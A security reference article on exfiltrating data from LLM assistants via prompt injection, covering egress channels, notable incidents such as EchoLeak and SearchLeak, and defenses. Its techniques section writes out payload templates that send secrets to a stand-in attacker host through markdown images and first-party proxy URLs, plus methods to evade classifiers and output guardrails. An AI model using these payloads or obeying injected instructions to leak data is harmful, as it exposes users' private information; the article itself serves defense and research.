LLM Data Exfiltration
The second half of most prompt-injection chains: once injected instructions have pulled sensitive context into the window, the model is steered to emit it through a channel the attacker can observe. The channel can be a rendered image, a link, a tool call or a side effect.
How it works
A working chain needs three things:
- Injection. Usually Indirect Prompt Injection via email, document, web page or URL parameter.
- Collection. The model reads more data than the attacker could. Embrace The Red showed injected text telling M365 Copilot to search for Slack MFA codes and other emails. This is automatic tool invocation, i.e. request forgery against the RAG/search layer.
- Egress. Something carries the data off the trust boundary.
Microsoft’s taxonomy of egress channels:
| Channel | Mechanism | Interaction |
|---|---|---|
| HTML / markdown image |  or data in a subdomain. The browser auto-fetches it | Zero-click |
| Clickable link | Data in the URL, optionally hidden | One click |
| Tool call | Model writes to a public repo, sends mail, posts a message | Zero-click if no approval |
| Covert channel | An observable side effect of a tool call encodes bits | Zero-click |
Techniques / payloads
- Markdown image beacon. Kagi:
. The request came from the victim’s browser (UA, Referer), so even with no secret it de-anonymises the user’s IP. - Reference-style markdown evades link redaction that only matches inline
[x](url):![image alt text][ref] [ref]: https://attacker.com/<secret> - CSP bypass via an allowlisted fetcher. If
img-srcblocks attacker domains, route through an allowlisted first-party endpoint that fetches arbitrary URLs server-side. Examples: Teamsasyncgw.teams.microsoft.com/urlp/v1/url/content?url=https://attacker/<secret>(EchoLeak) and Bingbing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker/<data>/image.png(SearchLeak). This is an open-proxy / Server-Side Request Forgery primitive used as an exfil relay. - Streaming race. M365 Copilot wrapped output in
<code>only after generation finished. An<img>emitted mid-stream was already in the DOM and its request had left before sanitization. - ASCII smuggling. Unicode Tag characters (U+E0000–U+E007F) mirror ASCII but render invisibly. The model stages the stolen data invisibly inside a benign-looking hyperlink, and the user’s click sends it. The payload included an in-context example to teach Copilot the encoding.
- Parameter-to-Prompt (P2P). A URL parameter is auto-submitted as a prompt, so one click on a trusted domain runs attacker instructions with the victim’s session:
m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=<PROMPT>(SearchLeak)?q=<PROMPT>&autorun=1(Copilot Reprompt; Copilot itself disclosed theautorunparameter)home.atlassian.com/chat?rovoChatPathway=chat&rovoChatPrompt=<prompt>(RovoBlast)
- GET-only fetch tools. Claude’s
web_fetchblocked model-constructed URLs. An attacker site with an alphabetical link tree let the model “navigate” to paths that spelled out the user’s name, employer and security answers from memory. - Self-addressed messages. Copilot Cowork needs no approval to message the active user. A poisoned skill made it post a Teams message holding pre-authenticated SharePoint/OneDrive download links, which exfiltrate when the user opens Teams.
- Encrypted instructions. Cryptographic Context Injection hides ciphertext plus decryption steps in a page. The agent decrypts it in its Python sandbox, so classifiers never see the plaintext. Output can be re-encrypted to pass output guardrails (Grok zero-click demo).
- Public-repo dump. The Nx/s1ngularity malware drove local coding agents to inventory secrets, then created
s1ngularity-repository-*repos under the victim’s account and uploaded triple-base64results.b64. - Trusted-but-expired domains. ForcedLeak exfiltrated to an Agentforce-allowlisted domain that had lapsed and was re-registered for about $5.
Notable cases
| Case | Vector | Egress | ID |
|---|---|---|---|
| EchoLeak (M365 Copilot) | Email, zero-click | Ref-style image via Teams proxy | CVE-2025-32711 |
| SearchLeak (M365 Copilot Enterprise) | P2P q=, one click | Streaming <img> via Bing SSRF | CVE-2026-42824 |
| Copilot ASCII smuggling (2024) | Email/doc | Hidden-tag hyperlink | — |
| RovoBlast (Atlassian Rovo) | rovoChatPrompt, one click | ResearchAgent to the open web | Bugcrowd |
| Copilot Cowork | Poisoned skill | Teams self-message with pre-auth links | — |
| Kagi Assistant | Summarized page | Unproxied markdown image | — |
Defenses
- Don’t render model-authored images or links to arbitrary origins. Proxy images through a first-party camo and strip reference-style markdown. Don’t interpret Unicode Tag code points.
- Check output deterministically before rendering: block markdown images whose host is not allowlisted or whose URL carries a query string, and plant a canary in the system prompt to catch verbatim leaks (paraphrased leaks evade it) six layers.
- Apply a strict CSP at the render surface, and audit allowlisted domains for open fetchers or redirects. Sanitize during streaming, not after.
- Never auto-submit URL parameters as prompts. Require a user gesture.
- Gate every outbound tool (mail, chat, HTTP, repo writes) with human approval, including messages to self, and log the full arguments.
- Use egress allowlists and continuously check that allowlisted domains are still owned.
Related
- AI and LLM Security · EchoLeak · Indirect Prompt Injection · Agentic AI Risks · Content Security Policy · SSRF in AI Agents and LLM Tools
Sources
- EchoLeak: first real-world zero-click prompt injection exploit (arXiv) · original
- Varonis — SearchLeak · original
- Embrace The Red — Microsoft Copilot: prompt injection to exfiltration · original
- Varonis — RovoBlast · original
- Ars Technica — Copilot reveals secret autorun input · original
- PromptArmor — Microsoft Copilot Cowork exfiltrates files · original
- Zero-click IP leak in Kagi · original
- The Memory Heist — leaking Claude memories via web_fetch · original
- Microsoft — How Microsoft defends against indirect prompt injection · original
- SecurityWeek — Encrypted prompts bypass guardrails in Grok and Gemini · original
- Ars Technica — Grok exfiltrates data via encrypted instructions · original
- Snyk — Weaponizing AI coding agents in the Nx malicious package · original
- O'Reilly — Beyond Prompt Injection (ForcedLeak) · original
- NVIDIA AI Red Team — active content rendering · original
- How to Prevent Prompt Injection in Python LLM Apps: 6 Layers · original